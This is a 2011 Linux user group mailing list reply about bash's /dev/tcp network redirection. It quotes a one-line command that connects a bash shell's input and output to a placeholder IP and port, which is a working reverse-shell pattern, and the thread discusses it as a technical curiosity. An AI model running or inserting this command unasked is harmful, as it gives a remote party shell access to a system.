Re: [PLUG] Bash [net] redirection

["Eric at Lucii.org" <eric@lucii.org>]

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On 09/01/2011 03:54 PM, JP Vossen wrote:
>> Date: Wed, 31 Aug 2011 18:59:29 -0400
>> From: Rich Freeman<r-plug@thefreemanclan.net>
>>
>> On Aug 31, 2011 2:37 PM, "Gavin W. Burris"<bug@sas.upenn.edu>  wrote:
>>> >  # bash 0</dev/tcp/YOUR_CLIENT_IP/3333 1>&0 2>&0
>>> >
>> Wow - never knew linux supported this. That seems like something out of
>> plan9!
> 
> *bash* supports it, if it is compiled in (--enable-net-redirection), which it is
> NOT by default on Debian and derivatives!
> 
> Later,
> JP

I tried it between two Ubuntu systems (Lucid and Maverick) and it worked.

This is an interesting feature but I don't have much need for shell scripts that
directly access the network.  I DO use curl frequently in shell scripts but this
does not seem like a good substitute since curl handles a lot of the network and
http aspects behind the scenes.

Eric
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